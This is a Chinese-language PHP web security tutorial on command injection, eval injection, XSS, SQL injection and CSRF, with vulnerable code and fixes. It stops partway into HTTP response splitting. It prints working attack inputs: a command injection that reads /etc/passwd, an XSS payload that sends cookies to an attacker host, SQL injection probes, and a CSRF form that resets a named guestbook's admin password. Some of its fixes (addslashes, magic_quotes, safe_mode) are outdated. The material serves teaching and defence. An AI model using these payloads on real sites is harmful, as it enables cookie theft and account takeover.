針對PHP的網站主要存在下面幾種攻擊方式:
1、命令注入(Command Injection)
2、eval注入(Eval Injection)
3、客戶端腳本攻擊(Script Insertion)
4、跨網站腳本攻擊(Cross Site Scripting, XSS)
5、SQL注入攻擊(SQL injection)
6、跨網站請求偽造攻擊(Cross Site Request Forgeries, CSRF)
7、Session 會話劫持(Session Hijacking)
8、Session 固定攻擊(Session Fixation)
9、HTTP響應拆分攻擊(HTTP Response Splitting)
10、文件上傳漏洞(File Upload Attack)
11、目錄穿越漏洞(Directory Traversal)
12、遠程文件包含攻擊(Remote Inclusion)
13、動態函數注入攻擊(Dynamic Variable Evaluation)
14、URL攻擊(URL attack)
15、表單提交欺騙攻擊(Spoofed Form Submissions)
16、HTTP請求欺騙攻擊(Spoofed HTTP Requests)
命令注入攻擊
PHP中可以使用下列5個函數來執行外部的應用程序或函數
system、exec、passthru、shell_exec、“(與shell_exec功能相同)
函數原型
string system(string command, int &return_var)
command 要執行的命令
return_var 存放執行命令的執行後的狀態值
string exec (string command, array &output, int &return_var)
command 要執行的命令
output 獲得執行命令輸出的每一行字符串
return_var 存放執行命令後的狀態值
void passthru (string command, int &return_var)
command 要執行的命令
return_var 存放執行命令後的狀態值
string shell_exec (string command)
command 要執行的命令
漏洞實例
例1:
//ex1.php
<?php
$dir = $_GET["dir"];
if (isset($dir))
{
echo "<pre>";
system("ls -al ".$dir);
echo "</pre>";
}
?>
我們提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd
提交以後,命令變成了 system("ls -al | cat /etc/passwd");
eval注入攻擊
eval函數將輸入的字符串參數當作PHP程序代碼來執行
函數原型:
mixed eval(string code_str) //eval注入一般發生在攻擊者能控制輸入的字符串的時候
//ex2.php
<?php
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("\$var = $arg;");
echo "\$var =".$var;
}
?>
當我們提交 http://www.sectop.com/ex2.php?arg=phpinfo();漏洞就產生了
動態函數
<?php
func A()
{
dosomething();
}
func B()
{
dosomething();
}
if (isset($_GET["func"]))
{
$myfunc = $_GET["func"];
echo $myfunc();
}
?>
程序員原意是想動態調用A和B函數,那我們提交http://www.sectop.com/ex.php?func=phpinfo 漏洞產生
防范方法
1、盡量不要執行外部命令
2、使用自定義函數或函數庫來替代外部命令的功能
3、使用escapeshellarg函數來處理命令參數
4、使用safe_mode_exec_dir指定可執行文件的路徑
esacpeshellarg函數會將任何引起參數或命令結束的字符轉義,單引號“'”,替換成“\'”,雙引號“"”,替換成“\"”,分號“;”替換成“\;”
用safe_mode_exec_dir指定可執行文件的路徑,可以把會使用的命令提前放入此路徑內
safe_mode = On
safe_mode_exec_di r= /usr/local/php/bin/
客戶端腳本植入
客戶端腳本植入(Script Insertion),是指將可以執行的腳本插入到表單、圖片、動畫或超鏈接文字等對象內。當用戶打開這些對象後,攻擊者所植入的腳本就會被執行,進而開始攻擊。
可以被用作腳本植入的HTML標簽一般包括以下幾種:
1、<script>標簽標記的javascript和vbscript等頁面腳本程序。在<script>標簽內可以指定js程序代碼,也可以在src屬性內指定js文件的URL路徑
2、<object>標簽標記的對象。這些對象是java applet、多媒體文件和ActiveX控件等。通常在data屬性內指定對象的URL路徑
3、<embed>標簽標記的對象。這些對象是多媒體文件,例如:swf文件。通常在src屬性內指定對象的URL路徑
4、<applet>標簽標記的對象。這些對象是java applet,通常在codebase屬性內指定對象的URL路徑
5、<form>標簽標記的對象。通常在action屬性內指定要處理表單數據的web應用程序的URL路徑
客戶端腳本植入的攻擊步驟
1、攻擊者注冊普通用戶後登陸網站
2、打開留言頁面,插入攻擊的js代碼
3、其他用戶登錄網站(包括管理員),浏覽此留言的內容
4、隱藏在留言內容中的js代碼被執行,攻擊成功
實例
數據庫
CREATE TABLE `postmessage` (
`id` int(11) NOT NULL auto_increment,
`subject` varchar(60) NOT NULL default ”,
`name` varchar(40) NOT NULL default ”,
`email` varchar(25) NOT NULL default ”,
`question` mediumtext NOT NULL,
`postdate` datetime NOT NULL default '0000-00-00 00:00:00′,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT='使用者的留言' AUTO_INCREMENT=69 ;
//add.php 插入留言
//list.php 留言列表
//show.php 顯示留言
提交下圖的留言
浏覽此留言的時候會執行js腳本
插入 <script>while(1){windows.open();}</script> 無限彈框
插入<script>location.href="http://www.sectop.com";</script> 跳轉釣魚頁面
或者使用其他自行構造的js代碼進行攻擊
防范的方法
一般使用htmlspecialchars函數來將特殊字符轉換成HTML編碼
函數原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要編碼的字符串
quote_style 可選,值可為ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默認值ENT_COMPAT,表示只轉換雙引號不轉換單引號。ENT_QUOTES,表示雙引號和單引號都要轉換。ENT_NOQUOTES,表示雙引號和單引號都不轉換
charset 可選,表示使用的字符集
函數會將下列特殊字符轉換成html編碼:
& —-> &
" —-> "
‘ —-> ‘
< —-> <
> —-> >
把show.php的第98行改成
<?php echo htmlspecialchars(nl2br($row['question']), ENT_QUOTES); ?>
然後再查看插入js的漏洞頁面
XSS跨站腳本攻擊
XSS(Cross Site Scripting),意為跨網站腳本攻擊,為了和樣式表css(Cascading Style Sheet)區別,縮寫為XSS
跨站腳本主要被攻擊者利用來讀取網站用戶的cookies或者其他個人數據,一旦攻擊者得到這些數據,那麼他就可以偽裝成此用戶來登錄網站,獲得此用戶的權限。
跨站腳本攻擊的一般步驟:
1、攻擊者以某種方式發送xss的http鏈接給目標用戶
2、目標用戶登錄此網站,在登陸期間打開了攻擊者發送的xss鏈接
3、網站執行了此xss攻擊腳本
4、目標用戶頁面跳轉到攻擊者的網站,攻擊者取得了目標用戶的信息
5、攻擊者使用目標用戶的信息登錄網站,完成攻擊
當有存在跨站漏洞的程序出現的時候,攻擊者可以構造類似 http://www.sectop.com/search.php?key=<script>document.location='http://www.hack.com/getcookie.php?cookie='+document.cookie;</script> ,誘騙用戶點擊後,可以獲取用戶cookies值
防范方法:
利用htmlspecialchars函數將特殊字符轉換成HTML編碼
函數原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要編碼的字符串
quote_style 可選,值可為ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默認值ENT_COMPAT,表示只轉換雙引號不轉換單引號。ENT_QUOTES,表示雙引號和單引號都要轉換。ENT_NOQUOTES,表示雙引號和單引號都不轉換
charset 可選,表示使用的字符集
函數會將下列特殊字符轉換成html編碼:
& —-> &
" —-> "
‘ —-> ‘
< —-> <
> —-> >
$_SERVER["PHP_SELF"]變量的跨站
在某個表單中,如果提交參數給自己,會用這樣的語句
<form action="<?php echo $_SERVER["PHP_SELF"];?>" method="POST">
……
</form>
$_SERVER["PHP_SELF"]變量的值為當前頁面名稱
例:
http://www.sectop.com/get.php
get.php中上述的表單
那麼我們提交
http://www.sectop.com/get.php/"><script>alert(document.cookie);</script>
那麼表單變成
<form action="get.php/"><script>alert(document.cookie);</script>" method="POST">
跨站腳本被插進去了
防御方法還是使用htmlspecialchars過濾輸出的變量,或者提交給自身文件的表單使用
<form action="" method="post">
這樣直接避免了$_SERVER["PHP_SELF"]變量被跨站
SQL注入攻擊
SQL注入攻擊(SQL Injection),是攻擊者在表單中提交精心構造的sql語句,改動原來的sql語句,如果web程序沒有對提交的數據經過檢查,那麼就會造成sql注入攻擊。
SQL注入攻擊的一般步驟:
1、攻擊者訪問有SQL注入漏洞的站點,尋找注入點
2、攻擊者構造注入語句,注入語句和程序中的SQL語句結合生成新的sql語句
3、新的sql語句被提交到數據庫中執行 處理
4、數據庫執行了新的SQL語句,引發SQL注入攻擊
實例
數據庫
CREATE TABLE `postmessage` (
`id` int(11) NOT NULL auto_increment,
`subject` varchar(60) NOT NULL default ”,
`name` varchar(40) NOT NULL default ”,
`email` varchar(25) NOT NULL default ”,
`question` mediumtext NOT NULL,
`postdate` datetime NOT NULL default '0000-00-00 00:00:00′,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT='運用者的留言' AUTO_INCREMENT=69 ;
grant all privileges on ch3.* to ‘sectop'@localhost identified by '123456′;
//add.php 插入留言
//list.php 留言列表
//show.php 顯示留言
頁面 http://www.netsos.com.cn/show.php?id=71 可能存在注入點,我們來測試
http://www.netsos.com.cn/show.php?id=71 and 1=1
返回頁面
提交
一次查詢到記錄,一次沒有,我們來看看源碼
//show.php 12-15行
// 執行mysql查詢語句
$query = "select * from postmessage where id = ".$_GET["id"];
$result = mysql_query($query)
or die("執行ySQL查詢語句失敗:" . mysql_error());
參數id傳遞進來後,和前面的字符串結合的sql語句放入數據庫執行 查詢
提交 and 1=1,語句變成select * from postmessage where id = 71 and 1=1 這語句前值後值都為真,and以後也為真,返回查詢到的數據
提交 and 1=2,語句變成select * from postmessage where id = 71 and 1=2 這語句前值為真,後值為假,and以後為假,查詢不到任何數據
正常的SQL查詢,經過我們構造的語句之後,形成了SQL注入攻擊。通過這個注入點,我們還可以進一步拿到權限,比如說運用 union讀取管理密碼,讀取數據庫信息,或者用mysql的load_file,into outfile等函數進一步滲透。
防范方法
整型參數:
運用 intval函數將數據轉換成整數
函數原型
int intval(mixed var, int base)
var是要轉換成整形的變量
base,可選,是基礎數,默認是10
浮點型參數:
運用 floatval或doubleval函數分別轉換單精度和雙精度浮點型參數
函數原型
int floatval(mixed var)
var是要轉換的變量
int doubleval(mixed var)
var是要轉換的變量
字符型參數:
運用 addslashes函數來將單引號“'”轉換成“\'”,雙引號“"”轉換成“\"”,反斜槓“\”轉換成“\\”,NULL字符加上反斜槓“\”
函數原型
string addslashes (string str)
str是要檢查的字符串
那麼剛才出現的代碼漏洞,我們可以這樣修補
// 執行mysql查詢語句
$query = "select * from postmessage where id = ".intval($_GET["id"]);
$result = mysql_query($query)
or die("執行ySQL查詢語句失敗:" . mysql_error());
如果是字符型,先判斷magic_quotes_gpc能無法 為On,當不為On的時候運用 addslashes轉義特殊字符
if(get_magic_quotes_gpc())
{
$var = $_GET["var"];
}
else
{
$var = addslashes($_GET["var"]);
}
再次測試,漏洞已經修補
垮網站偽造請求
CSRF(Cross Site Request Forgeries),意為跨網站請求偽造,也有寫為XSRF。攻擊者偽造目標用戶的HTTP請求,然後此請求發送到有CSRF漏洞的網站,網站執行此請求後,引發跨站請求偽造攻擊。攻擊者利用隱蔽的HTTP連接,讓目標用戶在不注意的情況下單擊這個鏈接,由於是用戶自己點擊的,而他又是合法用戶擁有合法權限,所以目標用戶能夠在網站內執行特定的HTTP鏈接,從而達到攻擊者的目的。
例如:某個購物網站購買商品時,采用http://www.shop.com/buy.php?item=watch&num=1,item參數確定要購買什麼物品,num參數確定要購買數量,如果攻擊者以隱藏的方式發送給目標用戶鏈接
<img src="http://www.shop.com/buy.php?item=watch&num=1000"/>,那麼如果目標用戶不小心訪問以後,購買的數量就成了1000個
實例
隨緣網絡PHP留言板V1.0
任意刪除留言
//delbook.php 此頁面用於刪除留言
<?php
include_once("dlyz.php"); //dlyz.php用戶驗證權限,當權限是admin的時候方可刪除留言
include_once("../conn.php");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="data")
{
$ID_Dele= implode(",",$_POST['adid']);
$sql="delete from book where id in (".$ID_Dele.")";
mysql_query($sql);
}
else
{
$sql="delete from book where id=".$id; //傳遞要刪除的留言ID
mysql_query($sql);
}
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert(‘刪除成功!');";
echo " location='book.php';";
echo "</script>";
?>
當我們具有admin權限,提交http://localhost/manage/delbook.php?id=2 時,就會刪除id為2的留言
利用方法:
我們使用普通用戶留言(源代碼方式),內容為
<img src="delbook.php?id=2" />
<img src="delbook.php?id=3" />
<img src="delbook.php?id=4" />
<img src="delbook.php?id=5" />
插入4張圖片鏈接分別刪除4個id留言,然後我們返回首頁浏覽看,沒有什麼變化。。圖片顯示不了
現在我們再用管理員賬號登陸後,來刷新首頁,會發現留言就剩一條,其他在圖片鏈接中指定的ID號的留言,全部都被刪除。
攻擊者在留言中插入隱藏的圖片鏈接,此鏈接具有刪除留言的作用,而攻擊者自己訪問這些圖片鏈接的時候,是不具有權限的,所以看不到任何效果,但是當管理員登陸後,查看此留言,就會執行隱藏的鏈接,而他的權限又是足夠大的,從而這些留言就被刪除了
修改管理員密碼
//pass.php
if($_GET["act"])
{
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>設計制作:<a href=http://www.115cn.cn>廈門隨緣網絡科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert(‘修改成功!');";
echo " location='pass.php';";
echo "</script>";
}
這個文件用於修改管理密碼和網站設置的一些信息,我們可以直接構造如下表單:
<body>
<form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1">
<input type="radio" value="1" name="sh">
<input type="radio" name="sh" checked value="0">
<input type="text" name="username" value="root">
<input type="password" name="password" value="root">
<input type="text" name="title" value="隨緣網絡PHP留言板V1.0(帶審核功能)" >
<textarea name="gg" rows="6" cols="80" >歡迎您安裝使用隨緣網絡PHP留言板V1.0(帶審核功能)!</textarea>
<textarea name="copyright" rows="6" cols="80" >隨緣網絡PHP留言本V1.0 版權所有:廈門隨緣網絡科技 2005-2009<br/>承接網站建設及系統定制 提供優惠主機域名</textarea>
</form>
</body>
存為attack.html,放到自己網站上http://www.sectop.com/attack.html,此頁面訪問後會自動向目標程序的pass.php提交參數,用戶名修改為root,密碼修改為root,然後我們去留言板發一條留言,隱藏這個鏈接,管理訪問以後,他的用戶名和密碼全部修改成了root
防范方法
防范CSRF要比防范其他攻擊更加困難,因為CSRF的HTTP請求雖然是攻擊者偽造的,但是卻是由目標用戶發出的,一般常見的防范方法有下面幾種:
1、檢查網頁的來源
2、檢查內置的隱藏變量
3、使用POST,不要使用GET
檢查網頁來源
在//pass.php頭部加入以下紅色字體代碼,驗證數據提交
if($_GET["act"])
{
if(isset($_SERVER["HTTP_REFERER"]))
{
$serverhost = $_SERVER["SERVER_NAME"];
$strurl = str_replace("http://","",$_SERVER["HTTP_REFERER"]);
$strdomain = explode("/",$strurl);
$sourcehost = $strdomain[0];
if(strncmp($sourcehost, $serverhost, strlen($serverhost)))
{
unset($_POST);
echo "<script language='javascript'>";
echo "alert(‘數據來源異常!');";
&
nbsp; echo " location='index.php';";
echo "</script>";
}
}
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>設計制作:<a href=http://www.115cn.cn>廈門隨緣網絡科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert(‘修改成功!');";
echo " location='pass.php';";
echo "</script>";
}
檢查內置隱藏變量
我們在表單中內置一個隱藏變量和一個session變量,然後檢查這個隱藏變量和session變量是否相等,以此來判斷是否同一個網頁所調用
<?php
include_once("dlyz.php");
include_once("../conn.php");
if($_GET["act"])
{
if (!isset($_SESSION["post_id"]))
{
// 生成唯一的ID,並使用MD5來加密
$post_id = md5(uniqid(rand(), true));
// 創建Session變量
$_SESSION["post_id"] = $post_id;
}
// 檢查是否相等
if (isset($_SESSION["post_id"]))
{
// 不相等
if ($_SESSION["post_id"] != $_POST["post_id"])
{
// 清除POST變量
unset($_POST);
echo "<script language='javascript'>";
echo "alert(‘數據來源異常!');";
echo " location='index.php';";
echo "</script>";
}
}
……
<input type="reset" name="Submit2" value="重 置">
<input type="hidden" name="post_id" value="<?php echo $_SESSION["post_id"];?>">
</td></tr>
</table>
</form>
<?php
}
mysql_close($conn);
?>
</body>
</html>
使用POST,不要使用GET
傳遞表單字段時,一定要是用POST,不要使用GET,處理變量也不要直接使用$_REQUEST
http響應拆分
HTTP請求的格式
1)請求信息:例如“Get /index.php HTTP/1.1”,請求index.php文件
2)表頭:例如“Host: localhost”,表示服務器地址
3)空白行
4)信息正文
“請求信息”和“表頭”都必須使用換行字符(CRLF)來結尾,空白行只能包含換行符,不可以有其他空格符。
下面例子發送HTTP請求給服務器www.yhsafe.com
GET /index.php HTTP/1.1↙ //請求信息
Host:www.yhsafe.com↙ //表頭
↙ //空格行 ↙ ↙符號表示回車鍵,在空白行之後還要在按一個空格才會發送HTTP請求,HTTP請求的表頭中只有Host表頭是必要的餓,其余的HTTP表頭則是根據HTTP請求的內容而定。 HTTP請求的方法 1)GET:請求響應 2)HEAD:與GET相同的響應,只要求響應表頭 3)POST:發送數據給服務器處理,數據包含在HTTP信息正文中 4)PUT:上傳文件 5)DELETE:刪除文件 6)TRACE:追蹤收到的請求 7)OPTIONS:返回服務器所支持的HTTP請求的方法 8)CONNECT:將HTTP請求的連接轉換成透明的TCP/IP通道 HTTP響應的格式 服務器在處理完客戶端所提出的HTTP請求後,會發送下列響應。 1)第一行是狀態碼 2)第二行開始是其他信息 狀態碼包含一個標識狀態的數字和一個描述狀態的單詞。例如: HTTP/1.1 200 OK 200是標識狀態的是數字,OK則是描述狀態的單詞,這個狀態碼標識請求成功。HTTP請求和響應的例子
打開cmd輸入telnet,輸入open www.00aq.com 80
打開連接後輸入
GET /index.php HTTP/1.1↙
Host:www.00aq.com↙
↙ ↙ 返回HTTP響應的表頭返回的首頁內容
使用PHP來發送HTTP請求
header函數可以用來發送HTTP請求和響應的表頭
函數原型
void header(string string [, bool replace [, int http_response_code]])